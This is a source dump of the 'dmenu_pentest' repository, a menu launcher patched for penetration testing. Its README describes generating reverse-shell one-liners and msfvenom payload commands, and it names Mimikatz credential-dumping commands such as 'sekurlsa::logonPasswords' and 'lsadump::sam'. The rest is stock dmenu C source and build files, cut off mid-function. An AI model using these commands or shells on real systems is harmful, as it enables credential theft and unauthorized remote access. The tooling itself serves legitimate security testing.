├── .gitignore ├── LICENSE ├── README.md ├── dmenu-4.9 ├── LICENSE ├── Makefile ├── README ├── arg.h ├── config.def.h ├── config.h ├── config.mk ├── dmenu.1 ├── dmenu.c ├── dmenu_path ├── dmenu_run ├── drw.c ├── drw.h ├── stest.1 ├── stest.c ├── util.c └── util.h ├── dmenu_pentest.sh ├── images ├── app.gif ├── msfvenom.gif ├── shell.gif ├── stabalize.gif └── start.png ├── install.sh └── update.sh /.gitignore: -------------------------------------------------------------------------------- 1 | *.o 2 | dmenu-4.9/*.o 3 | dmenu-4.9/stest 4 | dmenu-4.9/dmenu 5 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2021 Cipher7 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Requirements 2 | The Requirements for this project are: 3 | 4 | * xclip 5 | * xautomation 6 | * X11 7 | * Xinerama 8 | * Xft 9 | * git 10 | * notify-send 11 | 12 | # Installation 13 | 14 | Clone the repository into /opt directory: 15 | 16 | > sudo git clone https://github.com/Cipher7/dmenu_pentest.git 17 | 18 | > sudo chmod +x install.sh 19 | 20 | > sudo ./install.sh 21 | 22 | The install.sh will apply the necessary patches followed by making a clean install of the custom dmenu. 23 | 24 | After the installation in complete. Assign a shortcut to the dmenu_pentest script by going to the keyboard settings in your linux machine and adding the shortcut. I have chosen the Ctrl+D shortcut forinvoking the script but you can make it whatever you want. 25 | 26 | In the keyboard shortcuts just add: 27 | 28 | > bash /opt/dmenu_pentest/dmenu_pentest.sh 29 | 30 | And then assign a shotcut to it! 31 | 32 | Now you should be able to call the script with just the shortcut! 33 | 34 | # Usage 35 | 36 | The Menu now can be accessed using just the shortcut you created in the installation phase and arrow keys to move around and the enter key to select an options. 37 | 38 | ![Start](images/start.png) 39 | 40 | ## Features 41 | 42 | ### Shells 43 | 44 | This options allows you to create a **one liner reverse shell** with your choice of IP and Port and then copies it to your clipboard. 45 | 46 | It created one liners in : 47 | 48 | * bash 49 | * nc 50 | * php 51 | * powershell 52 | * python 53 | * ruby 54 | 55 | ![Shell](images/shell.gif) 56 | 57 | 58 | ### TTY 59 | 60 | This option copies a TTY shell to your clipboard. 61 | 62 | It creates tty for: 63 | 64 | * python 65 | * python3 66 | * os-system 67 | 68 | ### Stabalize Shell 69 | 70 | Selecting this option will instantly stabalize your shell and give it a tty. 71 | 72 | ![Stabalize](images/stabalize.gif) 73 | 74 | ### Applications 75 | 76 | This option allows you to start an application from your system. If this options is run by a non-rootuser, it will prompt you for the sudo password and then execute the application as root. 77 | 78 | ![Applications](images/app.gif) 79 | 80 | ### Msfvenom 81 | 82 | This option will allow you to create a msfvenom payload , by going through its options and selecting you IP and port. This will create a one liner msfvenom command for that payload and copy it to your clipboard. You can now just paste it in your terminal and create a msfvenom payload. 83 | 84 | This currently supports: 85 | 86 | * Windows (x86 and x64) 87 | * bind 88 | * reverse 89 | 90 | * Linux (x86 and x64) 91 | * bind 92 | * reverse 93 | * Java 94 | * jsp_reverse_shell 95 | 96 | ![Msfvenom](images/msfvenom.gif) 97 | 98 | ### Mimikatz 99 | 100 | Copies the selected command to your clipboard. 101 | 102 | Currently supports: 103 | 104 | * privilege::debug 105 | * sekurlsa::logonPasswords 106 | * lsadump::sam 107 | 108 | # Credits 109 | 110 | * [Leo Smith](www.leosmith.xyz) : Thank you for the bug fixes and introducing me to dMenu! 111 | * [John Hammond](https://www.johnhammond.org/) : For the idea of adding xautomation 112 | -------------------------------------------------------------------------------- /dmenu-4.9/LICENSE: -------------------------------------------------------------------------------- 1 | MIT/X Consortium License 2 | 3 | © 2006-2019 Anselm R Garbe 4 | © 2006-2008 Sander van Dijk 5 | © 2006-2007 Michał Janeczek 6 | © 2007 Kris Maglione 7 | © 2009 Gottox 8 | © 2009 Markus Schnalke 9 | © 2009 Evan Gates 10 | © 2010-2012 Connor Lane Smith 11 | © 2014-2019 Hiltjo Posthuma 12 | © 2015-2018 Quentin Rameau 13 | 14 | Permission is hereby granted, free of charge, to any person obtaining a 15 | copy of this software and associated documentation files (the "Software"), 16 | to deal in the Software without restriction, including without limitation 17 | the rights to use, copy, modify, merge, publish, distribute, sublicense, 18 | and/or sell copies of the Software, and to permit persons to whom the 19 | Software is furnished to do so, subject to the following conditions: 20 | 21 | The above copyright notice and this permission notice shall be included in 22 | all copies or substantial portions of the Software. 23 | 24 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 25 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 26 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL 27 | THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 28 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 29 | FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER 30 | DEALINGS IN THE SOFTWARE. 31 | -------------------------------------------------------------------------------- /dmenu-4.9/Makefile: -------------------------------------------------------------------------------- 1 | # dmenu - dynamic menu 2 | # See LICENSE file for copyright and license details. 3 | 4 | include config.mk 5 | 6 | SRC = drw.c dmenu.c stest.c util.c 7 | OBJ = $(SRC:.c=.o) 8 | 9 | all: options dmenu stest 10 | 11 | options: 12 | @echo dmenu build options: 13 | @echo "CFLAGS = $(CFLAGS)" 14 | @echo "LDFLAGS = $(LDFLAGS)" 15 | @echo "CC = $(CC)" 16 | 17 | .c.o: 18 | $(CC) -c $(CFLAGS) $< 2>/dev/null 19 | 20 | config.h: 21 | cp config.def.h $@ 22 | 23 | $(OBJ): arg.h config.h config.mk drw.h 24 | 25 | dmenu: dmenu.o drw.o util.o 26 | $(CC) -o $@ dmenu.o drw.o util.o $(LDFLAGS) 27 | 28 | stest: stest.o 29 | $(CC) -o $@ stest.o $(LDFLAGS) 30 | 31 | clean: 32 | rm -f dmenu stest $(OBJ) dmenu-$(VERSION).tar.gz 33 | 34 | dist: clean 35 | mkdir -p dmenu-$(VERSION) 36 | cp LICENSE Makefile README arg.h config.def.h config.mk dmenu.1\ 37 | drw.h util.h dmenu_path dmenu_run stest.1 $(SRC)\ 38 | dmenu-$(VERSION) 39 | tar -cf dmenu-$(VERSION).tar dmenu-$(VERSION) 40 | gzip dmenu-$(VERSION).tar 41 | rm -rf dmenu-$(VERSION) 42 | 43 | install: all 44 | mkdir -p $(DESTDIR)$(PREFIX)/bin 45 | cp -f dmenu dmenu_path dmenu_run stest $(DESTDIR)$(PREFIX)/bin 46 | chmod 755 $(DESTDIR)$(PREFIX)/bin/dmenu 47 | chmod 755 $(DESTDIR)$(PREFIX)/bin/dmenu_path 48 | chmod 755 $(DESTDIR)$(PREFIX)/bin/dmenu_run 49 | chmod 755 $(DESTDIR)$(PREFIX)/bin/stest 50 | mkdir -p $(DESTDIR)$(MANPREFIX)/man1 51 | sed "s/VERSION/$(VERSION)/g" < dmenu.1 > $(DESTDIR)$(MANPREFIX)/man1/dmenu.1 52 | sed "s/VERSION/$(VERSION)/g" < stest.1 > $(DESTDIR)$(MANPREFIX)/man1/stest.1 53 | chmod 644 $(DESTDIR)$(MANPREFIX)/man1/dmenu.1 54 | chmod 644 $(DESTDIR)$(MANPREFIX)/man1/stest.1 55 | 56 | uninstall: 57 | rm -f $(DESTDIR)$(PREFIX)/bin/dmenu\ 58 | $(DESTDIR)$(PREFIX)/bin/dmenu_path\ 59 | $(DESTDIR)$(PREFIX)/bin/dmenu_run\ 60 | $(DESTDIR)$(PREFIX)/bin/stest\ 61 | $(DESTDIR)$(MANPREFIX)/man1/dmenu.1\ 62 | $(DESTDIR)$(MANPREFIX)/man1/stest.1 63 | 64 | .PHONY: all options clean dist install uninstall 65 | -------------------------------------------------------------------------------- /dmenu-4.9/README: -------------------------------------------------------------------------------- 1 | dmenu - dynamic menu 2 | ==================== 3 | dmenu is an efficient dynamic menu for X. 4 | 5 | 6 | Requirements 7 | ------------ 8 | In order to build dmenu you need the Xlib header files. 9 | 10 | 11 | Installation 12 | ------------ 13 | Edit config.mk to match your local setup (dmenu is installed into 14 | the /usr/local namespace by default). 15 | 16 | Afterwards enter the following command to build and install dmenu 17 | (if necessary as root): 18 | 19 | make clean install 20 | 21 | 22 | Running dmenu 23 | ------------- 24 | See the man page for details. 25 | -------------------------------------------------------------------------------- /dmenu-4.9/arg.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copy me if you can. 3 | * by 20h 4 | */ 5 | 6 | #ifndef ARG_H__ 7 | #define ARG_H__ 8 | 9 | extern char *argv0; 10 | 11 | /* use main(int argc, char *argv[]) */ 12 | #define ARGBEGIN for (argv0 = *argv, argv++, argc--;\ 13 | argv[0] && argv[0][0] == '-'\ 14 | && argv[0][1];\ 15 | argc--, argv++) {\ 16 | char argc_;\ 17 | char **argv_;\ 18 | int brk_;\ 19 | if (argv[0][1] == '-' && argv[0][2] == '\0') {\ 20 | argv++;\ 21 | argc--;\ 22 | break;\ 23 | }\ 24 | for (brk_ = 0, argv[0]++, argv_ = argv;\ 25 | argv[0][0] && !brk_;\ 26 | argv[0]++) {\ 27 | if (argv_ != argv)\ 28 | break;\ 29 | argc_ = argv[0][0];\ 30 | switch (argc_) 31 | 32 | #define ARGEND }\ 33 | } 34 | 35 | #define ARGC() argc_ 36 | 37 | #define EARGF(x) ((argv[0][1] == '\0' && argv[1] == NULL)?\ 38 | ((x), abort(), (char *)0) :\ 39 | (brk_ = 1, (argv[0][1] != '\0')?\ 40 | (&argv[0][1]) :\ 41 | (argc--, argv++, argv[0]))) 42 | 43 | #define ARGF() ((argv[0][1] == '\0' && argv[1] == NULL)?\ 44 | (char *)0 :\ 45 | (brk_ = 1, (argv[0][1] != '\0')?\ 46 | (&argv[0][1]) :\ 47 | (argc--, argv++, argv[0]))) 48 | 49 | #endif 50 | -------------------------------------------------------------------------------- /dmenu-4.9/config.def.h: -------------------------------------------------------------------------------- 1 | /* See LICENSE file for copyright and license details. */ 2 | /* Default settings; can be overriden by command line. */ 3 | 4 | static int topbar = 1; /* -b option; if 0, dmenu appears at bottom */ 5 | static int centered = 0; /* -c option; centers dmenu on screen */ 6 | static int min_width = 500; /* minimum width when centered */ 7 | /* -fn option overrides fonts[0]; default X11 font or font set */ 8 | static const char *fonts[] = { 9 | "Bitstream Vera Sans Mono:size=12" 10 | }; 11 | static const char *prompt = NULL; /* -p option; prompt to the left of input field */ 12 | static const char *colors[SchemeLast][2] = { 13 | /* fg bg */ 14 | [SchemeNorm] = { "#bbbbbb", "#222222" }, 15 | [SchemeSel] = { "#222222", "#ff9d14" }, 16 | [SchemeSelHighlight] = { "#ffc978", "#005577" }, 17 | [SchemeNormHighlight] = { "#ffc978", "#222222" }, 18 | 19 | [SchemeOut] = { "#000000", "#00ffff" }, 20 | }; 21 | /* -l option; if nonzero, dmenu uses vertical list with given number of lines */ 22 | static unsigned int lines = 0; 23 | static unsigned int lineheight = 0; /* -h option; minimum height of a menu line */ 24 | 25 | /* 26 | * Characters not considered part of a word while deleting words 27 | * for example: " /?\"&[]" 28 | */ 29 | static const char worddelimiters[] = " "; 30 | 31 | /* Size of the window border */ 32 | static unsigned int border_width = 1; 33 | -------------------------------------------------------------------------------- /dmenu-4.9/config.h: -------------------------------------------------------------------------------- 1 | /* See LICENSE file for copyright and license details. */ 2 | /* Default settings; can be overriden by command line. */ 3 | 4 | static int topbar = 1; /* -b option; if 0, dmenu appears at bottom */ 5 | static int centered = 0; /* -c option; centers dmenu on screen */ 6 | static int min_width = 500; /* minimum width when centered */ 7 | /* -fn option overrides fonts[0]; default X11 font or font set */ 8 | static const char *fonts[] = { 9 | "Bitstream Vera Sans Mono:size=12" 10 | }; 11 | static const char *prompt = NULL; /* -p option; prompt to the left of input field */ 12 | static const char *colors[SchemeLast][2] = { 13 | /* fg bg */ 14 | [SchemeNorm] = { "#bbbbbb", "#222222" }, 15 | [SchemeSel] = { "#222222", "#ff9d14" }, 16 | [SchemeSelHighlight] = { "#ffc978", "#005577" }, 17 | [SchemeNormHighlight] = { "#ffc978", "#222222" }, 18 | 19 | [SchemeOut] = { "#000000", "#00ffff" }, 20 | }; 21 | /* -l option; if nonzero, dmenu uses vertical list with given number of lines */ 22 | static unsigned int lines = 0; 23 | static unsigned int lineheight = 0; /* -h option; minimum height of a menu line */ 24 | 25 | /* 26 | * Characters not considered part of a word while deleting words 27 | * for example: " /?\"&[]" 28 | */ 29 | static const char worddelimiters[] = " "; 30 | 31 | /* Size of the window border */ 32 | static unsigned int border_width = 1; 33 | -------------------------------------------------------------------------------- /dmenu-4.9/config.mk: -------------------------------------------------------------------------------- 1 | # dmenu version 2 | VERSION = 4.9 3 | 4 | # paths 5 | PREFIX = /usr/local 6 | MANPREFIX = $(PREFIX)/share/man 7 | 8 | X11INC = /usr/X11R6/include 9 | X11LIB = /usr/X11R6/lib 10 | 11 | # Xinerama, comment if you don't want it 12 | XINERAMALIBS = -lXinerama 13 | XINERAMAFLAGS = -DXINERAMA 14 | 15 | # freetype 16 | FREETYPELIBS = -lfontconfig -lXft 17 | FREETYPEINC = /usr/include/freetype2 18 | # OpenBSD (uncomment) 19 | #FREETYPEINC = $(X11INC)/freetype2 20 | 21 | # includes and libs 22 | INCS = -I$(X11INC) -I$(FREETYPEINC) 23 | LIBS = -L$(X11LIB) -lX11 $(XINERAMALIBS) $(FREETYPELIBS) 24 | 25 | # flags 26 | CPPFLAGS = -D_DEFAULT_SOURCE -D_BSD_SOURCE -D_XOPEN_SOURCE=700 -D_POSIX_C_SOURCE=200809L -DVERSION=\"$(VERSION)\" $(XINERAMAFLAGS) 27 | CFLAGS = -std=c99 -pedantic -Wall -Os $(INCS) $(CPPFLAGS) 28 | LDFLAGS = $(LIBS) 29 | 30 | # compiler and linker 31 | CC = cc 32 | -------------------------------------------------------------------------------- /dmenu-4.9/dmenu.1: -------------------------------------------------------------------------------- 1 | .TH DMENU 1 dmenu\-VERSION 2 | .SH NAME 3 | dmenu \- dynamic menu 4 | .SH SYNOPSIS 5 | .B dmenu 6 | .RB [ \-bfivP ] 7 | .RB [ \-l 8 | .IR lines ] 9 | .RB [ \-m 10 | .IR monitor ] 11 | .RB [ \-p 12 | .IR prompt ] 13 | .RB [ \-fn 14 | .IR font ] 15 | .RB [ \-nb 16 | .IR color ] 17 | .RB [ \-nf 18 | .IR color ] 19 | .RB [ \-sb 20 | .IR color ] 21 | .RB [ \-sf 22 | .IR color ] 23 | .RB [ \-w 24 | .IR windowid ] 25 | .RB [ \-bw 26 | .IR borderwidth ] 27 | .P 28 | .BR dmenu_run " ..." 29 | .SH DESCRIPTION 30 | .B dmenu 31 | is a dynamic menu for X, which reads a list of newline\-separated items from 32 | stdin. When the user selects an item and presses Return, their choice is printed 33 | to stdout and dmenu terminates. Entering text will narrow the items to those 34 | matching the tokens in the input. 35 | .P 36 | .B dmenu_run 37 | is a script used by 38 | .IR dwm (1) 39 | which lists programs in the user's $PATH and runs the result in their $SHELL. 40 | .SH OPTIONS 41 | .TP 42 | .B \-b 43 | dmenu appears at the bottom of the screen. 44 | .TP 45 | .B \-c 46 | dmenu appears centered on the screen. 47 | .TP 48 | .B \-bw 49 | set the border width for dmenu. 50 | .TP 51 | .B \-f 52 | dmenu grabs the keyboard before reading stdin if not reading from a tty. This 53 | is faster, but will lock up X until stdin reaches end\-of\-file. 54 | .TP 55 | .B \-i 56 | dmenu matches menu items case insensitively. 57 | .TP 58 | .B \-P 59 | dmenu will not directly display the keyboard input, but instead replace it with dots. All data from stdin will be ignored. 60 | .TP 61 | .B \-P 62 | dmenu will not directly display the keyboard input, but instead replace it with dots. All data from stdin will be ignored. 63 | .TP 64 | .BI \-l " lines" 65 | dmenu lists items vertically, with the given number of lines. 66 | .TP 67 | .BI \-h " height" 68 | dmenu uses a menu line of at least 'height' pixels tall, but no less than 8. 69 | .TP 70 | .BI \-m " monitor" 71 | dmenu is displayed on the monitor number supplied. Monitor numbers are starting 72 | from 0. 73 | .TP 74 | .BI \-p " prompt" 75 | defines the prompt to be displayed to the left of the input field. 76 | .TP 77 | .BI \-fn " font" 78 | defines the font or font set used. 79 | .TP 80 | .BI \-nb " color" 81 | defines the normal background color. 82 | .IR #RGB , 83 | .IR #RRGGBB , 84 | and X color names are supported. 85 | .TP 86 | .BI \-nf " color" 87 | defines the normal foreground color. 88 | .TP 89 | .BI \-sb " color" 90 | defines the selected background color. 91 | .TP 92 | .BI \-sf " color" 93 | defines the selected foreground color. 94 | .TP 95 | .B \-v 96 | prints version information to stdout, then exits. 97 | .TP 98 | .BI \-w " windowid" 99 | embed into windowid. 100 | .SH USAGE 101 | dmenu is completely controlled by the keyboard. Items are selected using the 102 | arrow keys, page up, page down, home, and end. 103 | .TP 104 | .B Tab 105 | Copy the selected item to the input field. 106 | .TP 107 | .B Return 108 | Confirm selection. Prints the selected item to stdout and exits, returning 109 | success. 110 | .TP 111 | .B Ctrl-Return 112 | Confirm selection. Prints the selected item to stdout and continues. 113 | .TP 114 | .B Shift\-Return 115 | Confirm input. Prints the input text to stdout and exits, returning success. 116 | .TP 117 | .B Escape 118 | Exit without selecting an item, returning failure. 119 | .TP 120 | .B Ctrl-Left 121 | Move cursor to the start of the current word 122 | .TP 123 | .B Ctrl-Right 124 | Move cursor to the end of the current word 125 | .TP 126 | .B C\-a 127 | Home 128 | .TP 129 | .B C\-b 130 | Left 131 | .TP 132 | .B C\-c 133 | Escape 134 | .TP 135 | .B C\-d 136 | Delete 137 | .TP 138 | .B C\-e 139 | End 140 | .TP 141 | .B C\-f 142 | Right 143 | .TP 144 | .B C\-g 145 | Escape 146 | .TP 147 | .B C\-h 148 | Backspace 149 | .TP 150 | .B C\-i 151 | Tab 152 | .TP 153 | .B C\-j 154 | Return 155 | .TP 156 | .B C\-J 157 | Shift-Return 158 | .TP 159 | .B C\-k 160 | Delete line right 161 | .TP 162 | .B C\-m 163 | Return 164 | .TP 165 | .B C\-M 166 | Shift-Return 167 | .TP 168 | .B C\-n 169 | Down 170 | .TP 171 | .B C\-p 172 | Up 173 | .TP 174 | .B C\-u 175 | Delete line left 176 | .TP 177 | .B C\-w 178 | Delete word left 179 | .TP 180 | .B C\-y 181 | Paste from primary X selection 182 | .TP 183 | .B C\-Y 184 | Paste from X clipboard 185 | .TP 186 | .B M\-b 187 | Move cursor to the start of the current word 188 | .TP 189 | .B M\-f 190 | Move cursor to the end of the current word 191 | .TP 192 | .B M\-g 193 | Home 194 | .TP 195 | .B M\-G 196 | End 197 | .TP 198 | .B M\-h 199 | Up 200 | .TP 201 | .B M\-j 202 | Page down 203 | .TP 204 | .B M\-k 205 | Page up 206 | .TP 207 | .B M\-l 208 | Down 209 | .SH SEE ALSO 210 | .IR dwm (1), 211 | .IR stest (1) 212 | -------------------------------------------------------------------------------- /dmenu-4.9/dmenu.c: -------------------------------------------------------------------------------- 1 | /* See LICENSE file for copyright and license details. */ 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | #include 12 | #include 13 | #include 14 | #ifdef XINERAMA 15 | #include 16 | #endif 17 | #include 18 | 19 | #include "drw.h" 20 | #include "util.h" 21 | 22 | /* macros */ 23 | #define INTERSECT(x,y,w,h,r) (MAX(0, MIN((x)+(w),(r).x_org+(r).width) - MAX((x),(r).x_org)) * MAX(0, MIN((y)+(h),(r).y_org+(r).height) - MAX((y),(r).y_org))) 24 | #define LENGTH(X) (sizeof X / sizeof X[0]) 25 | #define TEXTW(X) (drw_fontset_getwidth(drw, (X)) + lrpad) 26 | #define NUMBERSMAXDIGITS 100 27 | #define NUMBERSBUFSIZE (NUMBERSMAXDIGITS * 2) + 1 28 | 29 | /* enums */ 30 | enum { SchemeNorm, SchemeSel, SchemeOut, SchemeNormHighlight, SchemeSelHighlight, SchemeLast }; /* color schemes */ 31 | 32 | struct item { 33 | char *text; 34 | struct item *left, *right; 35 | int out; 36 | }; 37 | 38 | static char numbers[NUMBERSBUFSIZE] = ""; 39 | static char text[BUFSIZ] = ""; 40 | static char *embed; 41 | static int bh, mw, mh; 42 | static int inputw = 0, promptw, passwd = 0; 43 | static int lrpad; /* sum of left and right padding */ 44 | static size_t cursor; 45 | static struct item *items = NULL; 46 | static struct item *matches, *matchend; 47 | static struct item *prev, *curr, *next, *sel; 48 | static int mon = -1, screen; 49 | 50 | static Atom clip, utf8; 51 | static Display *dpy; 52 | static Window root, parentwin, win; 53 | static XIC xic; 54 | 55 | static Drw *drw; 56 | static Clr *scheme[SchemeLast]; 57 | 58 | #include "config.h" 59 | 60 | static int (*fstrncmp)(const char *, const char *, size_t) = strncmp; 61 | static char *(*fstrstr)(const char *, const char *) = strstr; 62 | 63 | static void 64 | appenditem(struct item *item, struct item **list, struct item **last) 65 | { 66 | if (*last) 67 | (*last)->right = item; 68 | else 69 | *list = item; 70 | 71 | item->left = *last; 72 | item->right = NULL; 73 | *last = item; 74 | } 75 | 76 | static void 77 | calcoffsets(void) 78 | { 79 | int i, n; 80 | 81 | if (lines > 0) 82 | n = lines * bh; 83 | else 84 | n = mw - (promptw + inputw + TEXTW("<") + TEXTW(">")); 85 | /* calculate which items will begin the next page and previous page */ 86 | for (i = 0, next = curr; next; next = next->right) 87 | if ((i += (lines > 0) ? bh : MIN(TEXTW(next->text), n)) > n) 88 | break; 89 | for (i = 0, prev = curr; prev && prev->left; prev = prev->left) 90 | if ((i += (lines > 0) ? bh : MIN(TEXTW(prev->left->text), n)) > n) 91 | break; 92 | } 93 | 94 | static int 95 | max_textw(void) 96 | { 97 | int len = 0; 98 | for (struct item *item = items; item && item->text; item++) 99 | len = MAX(TEXTW(item->text), len); 100 | return len; 101 | } 102 | 103 | static void 104 | cleanup(void) 105 | { 106 | size_t i; 107 | 108 | XUngrabKey(dpy, AnyKey, AnyModifier, root); 109 | for (i = 0; i < SchemeLast; i++) 110 | free(scheme[i]); 111 | drw_free(drw); 112 | XSync(dpy, False); 113 | XCloseDisplay(dpy); 114 | } 115 | 116 | static char * 117 | cistrstr(const char *s, const char *sub) 118 | { 119 | size_t len; 120 | 121 | for (len = strlen(sub); *s; s++) 122 | if (!strncasecmp(s, sub, len)) 123 | return (char *)s; 124 | return NULL; 125 | } 126 | 127 | static void 128 | drawhighlights(struct item *item, int x, int y, int maxw) 129 | { 130 | char restorechar, tokens[sizeof text], *highlight, *token; 131 | int indentx, highlightlen; 132 | 133 | drw_setscheme(drw, scheme[item == sel ? SchemeSelHighlight : SchemeNormHighlight]); 134 | strcpy(tokens, text); 135 | for (token = strtok(tokens, " "); token; token = strtok(NULL, " ")) { 136 | highlight = fstrstr(item->text, token); 137 | while (highlight) { 138 | // Move item str end, calc width for highlight indent, & restore 139 | highlightlen = highlight - item->text; 140 | restorechar = *highlight; 141 | item->text[highlightlen] = '\0'; 142 | indentx = TEXTW(item->text); 143 | item->text[highlightlen] = restorechar; 144 | 145 | // Move highlight str end, draw highlight, & restore 146 | restorechar = highlight[strlen(token)]; 147 | highlight[strlen(token)] = '\0'; 148 | if (indentx - (lrpad / 2) - 1 < maxw) 149 | drw_text( 150 | drw, 151 | x + indentx - (lrpad / 2) - 1, 152 | y, 153 | MIN(maxw - indentx, TEXTW(highlight) - lrpad), 154 | bh, 0, highlight, 0 155 | ); 156 | highlight[strlen(token)] = restorechar; 157 | 158 | if (strlen(highlight) - strlen(token) < strlen(token)) break; 159 | highlight = fstrstr(highlight + strlen(token), token); 160 | } 161 | } 162 | } 163 | 164 | static int 165 | drawitem(struct item *item, int x, int y, int w) 166 | { 167 | if (item == sel) 168 | drw_setscheme(drw, scheme[SchemeSel]); 169 | else if (item->out) 170 | drw_setscheme(drw, scheme[SchemeOut]); 171 | else 172 | drw_setscheme(drw, scheme[SchemeNorm]); 173 | 174 | int r = drw_text(drw, x, y, w, bh, lrpad / 2, item->text, 0); 175 | drawhighlights(item, x, y, w); 176 | return r; 177 | } 178 | 179 | static void 180 | recalculatenumbers() 181 | { 182 | unsigned int numer = 0, denom = 0; 183 | struct item *item; 184 | if (matchend) { 185 | numer++; 186 | for (item = matchend; item && item->left; item = item->left) 187 | numer++; 188 | } 189 | for (item = items; item && item->text; item++) 190 | denom++; 191 | snprintf(numbers, NUMBERSBUFSIZE, "%d/%d", numer, denom); 192 | } 193 | 194 | static void 195 | drawmenu(void) 196 | { 197 | unsigned int curpos; 198 | struct item *item; 199 | int x = 0, y = 0, fh = drw->fonts->h, w; 200 | char *censort; 201 | drw_setscheme(drw, scheme[SchemeNorm]); 202 | drw_rect(drw, 0, 0, mw, mh, 1, 1); 203 | 204 | if (prompt && *prompt) { 205 | drw_setscheme(drw, scheme[SchemeSel]); 206 | x = drw_text(drw, x, 0, promptw, bh, lrpad / 2, prompt, 0); 207 | } 208 | /* draw input field */ 209 | w = (lines > 0 || !matches) ? mw - x : inputw; 210 | drw_setscheme(drw, scheme[SchemeNorm]); 211 | if (passwd) { 212 | censort = ecalloc(1, sizeof(text)); 213 | memset(censort, '.', strlen(text)); 214 | drw_text(drw, x, 0, w, bh, lrpad / 2, censort, 0); 215 | free(censort); 216 | } else drw_text(drw, x, 0, w, bh, lrpad / 2, text, 0); 217 | 218 | curpos = TEXTW(text) - TEXTW(&text[cursor]); 219 | if ((curpos += lrpad / 2 - 1) < w) { 220 | drw_setscheme(drw, scheme[SchemeNorm]); 221 | drw_rect(drw, x + curpos, 2 + (bh-fh)/2, 2, fh - 4, 1, 0); 222 | } 223 | 224 | recalculatenumbers(); 225 | if (lines > 0) { 226 | /* draw vertical list */ 227 | for (item = curr; item != next; item = item->right) 228 | drawitem(item, x, y += bh, mw - x); 229 | } else if (matches) { 230 | /* draw horizontal list */ 231 | x += inputw; 232 | w = TEXTW("<"); 233 | if (curr->left) { 234 | drw_setscheme(drw, scheme[SchemeNorm]); 235 | drw_text(drw, x, 0, w, bh, lrpad / 2, "<", 0); 236 | } 237 | x += w; 238 | for (item = curr; item != next; item = item->right) 239 | x = drawitem(item, x, 0, MIN(TEXTW(item->text), mw - x - TEXTW(">") - TEXTW(numbers))); 240 | if (next) { 241 | w = TEXTW(">"); 242 | drw_setscheme(drw, scheme[SchemeNorm]); 243 | drw_text(drw, mw - w - TEXTW(numbers), 0, w, bh, lrpad / 2, ">", 0); 244 | } 245 | } 246 | drw_setscheme(drw, scheme[SchemeNorm]); 247 | drw_text(drw, mw - TEXTW(numbers), 0, TEXTW(numbers), bh, lrpad / 2, numbers, 0); 248 | drw_map(drw, win, 0, 0, mw, mh); 249 | } 250 | 251 | static void 252 | grabfocus(void) 253 | { 254 | struct timespec ts = { .tv_sec = 0, .tv_nsec = 10000000 }; 255 | Window focuswin; 256 | int i, revertwin; 257 | 258 | for (i = 0; i < 100; ++i) { 259 | XGetInputFocus(dpy, &focuswin, &revertwin); 260 | if (focuswin == win) 261 | return; 262 | XSetInputFocus(dpy, win, RevertToParent, CurrentTime); 263 | nanosleep(&ts, NULL); 264 | } 265 | die("cannot grab focus"); 266 | } 267 | 268 | static void 269 | grabkeyboard(void) 270 | { 271 | struct timespec ts = { .tv_sec = 0, .tv_nsec = 1000000 }; 272 | int i; 273 | 274 | if (embed) 275 | return; 276 | /* try to grab keyboard, we may have to wait for another process to ungrab */ 277 | for (i = 0; i < 1000; i++) { 278 | if (XGrabKeyboard(dpy, DefaultRootWindow(dpy), True, GrabModeAsync, 279 | GrabModeAsync, CurrentTime) == GrabSuccess) 280 | return; 281 | nanosleep(&ts, NULL); 282 | } 283 | die("cannot grab keyboard"); 284 | } 285 | 286 | static void 287 | match(void) 288 | { 289 | static char **tokv = NULL; 290 | static int tokn = 0; 291 | 292 | char buf[sizeof text], *s; 293 | int i, tokc = 0; 294 | size_t len, textsize; 295 | struct item *item, *lprefix, *lsubstr, *prefixend, *substrend; 296 | 297 | strcpy(buf, text); 298 | /* separate input text into tokens to be matched individually */ 299 | for (s = strtok(buf, " "); s; tokv[tokc - 1] = s, s = strtok(NULL, " ")) 300 | if (++tokc > tokn && !(tokv = realloc(tokv, ++tokn * sizeof *tokv))) 301 | die("cannot realloc %u bytes:", tokn * sizeof *tokv); 302 | len = tokc ? strlen(tokv[0]) : 0; 303 | 304 | matches = lprefix = lsubstr = matchend = prefixend = substrend = NULL; 305 | textsize = strlen(text) + 1; 306 | for (item = items; item && item->text; item++) { 307 | for (i = 0; i < tokc; i++) 308 | if (!fstrstr(item->text, tokv[i])) 309 | break; 310 | if (i != tokc) /* not all tokens match */ 311 | continue; 312 | /* exact matches go first, then prefixes, then substrings */ 313 | if 